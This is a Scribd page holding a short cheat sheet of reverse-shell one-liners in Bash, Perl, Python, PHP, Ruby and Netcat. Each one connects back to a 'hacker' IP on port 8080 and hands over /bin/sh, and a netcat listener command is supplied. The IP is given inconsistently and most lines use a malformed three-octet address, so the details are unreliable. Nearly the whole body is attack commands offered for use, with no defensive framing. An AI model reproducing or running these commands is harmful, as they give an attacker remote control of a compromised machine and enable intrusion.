0% found this document useful (0 votes)
127 views

Code Execution Reverse Shell Commands

The document provides examples of commands that can be used to establish reverse shells to a hacker's machine using various languages like Bash, Perl, Python, PHP, Ruby, and Netcat. The commands connect back to the hacker's IP address 10.20.14 on port 8080 and execute a shell to allow remote control of the compromised system.

Uploaded by

hacksmith 000
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
127 views

Code Execution Reverse Shell Commands

The document provides examples of commands that can be used to establish reverse shells to a hacker's machine using various languages like Bash, Perl, Python, PHP, Ruby, and Netcat. The commands connect back to the hacker's IP address 10.20.14 on port 8080 and execute a shell to allow remote control of the compromised system.

Uploaded by

hacksmith 000
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

The following examples assums the hacker IP is 10.20.

14 and use port 8080 for the


connection.
Therefore in all f these cases you need to listen for port 8080 using the foolowing
command
nc -vv -l -p 8080

BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1

PERL
perl -e 'use Socket;$i="10.20.14";
$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_i
n($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.20.14",8080).to_i;exec sprintf("/bin/sh -i <&
%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.20.14 8080

You might also like